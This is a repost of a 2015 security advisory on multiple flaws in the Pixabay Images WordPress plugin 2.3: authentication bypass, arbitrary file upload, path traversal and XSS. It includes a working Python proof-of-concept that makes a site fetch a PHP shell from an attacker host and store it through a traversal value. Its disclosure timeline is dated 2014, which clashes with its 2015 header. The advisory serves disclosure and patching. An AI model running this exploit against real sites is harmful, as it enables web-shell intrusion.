Aerosol Posted January 20, 2015 Report Posted January 20, 2015 Mogwai Security Advisory MSA-2015-01---------------------------------------------------------------------- Title: WP Pixarbay Images Multiple Vulnerabilities Product: Pixarbay Images (Wordpress Plugin) Affected versions: 2.3 Impact: high Remote: yes Product link: https://wordpress.org/plugins/pixabay-images/ Reported: 14/01/2015 by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)Vendor's Description of the Software:----------------------------------------------------------------------Pixabay Images is a WordPress plugin that let's you pick CC0 public domain pictures from Pixabay and insert them with just a click anywhere on your blog. The images are safe to use, and paying attribution or linking back to the source is not required.Business recommendation:----------------------------------------------------------------------Update to version 2.4Vulnerability description:----------------------------------------------------------------------1) Authentication bypassThe plugin does not correctly check if the user is logged in. Certaincode can be called without authentication2) Arbitrary file uploadThe plugin code does not validate the host in the provided download URL,which allows to upload malicious files, including PHP code.3) Path TraversalCertain values are not sanitized before they are used in a file operation.This allows to store files outside of the "download" folder. 4) Cross Site Scripting (XSS)The generated author link uses unsanitized user values which can beabused for Cross Site Scripting (XSS) attacks. Proof of concept:----------------------------------------------------------------------The following PoC Python script can be used to download PHP files froma attacker controlled host.#!/usr/bin/env pythonimport argparseimport httplib, urllibfrom urlparse import urlparsedef exploit(target_url, shellcode_url): target = urlparse(target_url) params = urllib.urlencode({'pixabay_upload': 1, 'image_url': shellcode_url,'image_user': 'none', 'q':'xxx/../../../../../../mogwai'}) headers = headers = {"Content-type": "application/x-www-form-urlencoded"} print "[+] Sending download request...." conn = httplib.HTTPConnection(target.netloc) conn.request("POST", target.path + "/wp-admin/", params, headers) response = conn.getresponse() response_data = response.read() if response.status != 200 and response_data != "Error: File attachment metadataerror": print "[-] Something went wrong" print response_data exit() conn.close()# ---- Main code ----------------parser = argparse.ArgumentParser()parser.add_argument("target_url", help="The target url, for examplehttp://foo.bar/blog/")parser.add_argument("shellcode_url", help="The url of the PHP file that shouldbe uploaded, for example: http://attacker.com/shell.php")print "----------------------------------------------"print " pixabay upload wordpress plugin exploit PoC"print " Mogwai security"print "----------------------------------------------"arguments = parser.parse_args()exploit(arguments.target_url, arguments.shellcode_url)Vulnerable / tested versions:----------------------------------------------------------------------Pixabay Images 2.3Disclosure timeline:----------------------------------------------------------------------14/01/2014: Reporting issues to the plugin author15/01/2014: Release of fixed version (2.4)19/01/2014: Public advisoryAdvisory URL:----------------------------------------------------------------------https://www.mogwaisecurity.de/#lab----------------------------------------------------------------------Mogwai, IT-Sicherheitsberatung MuenchSteinhoevelstrasse 2/289075 Ulm (Germany)info@mogwaisecurity.deSource Quote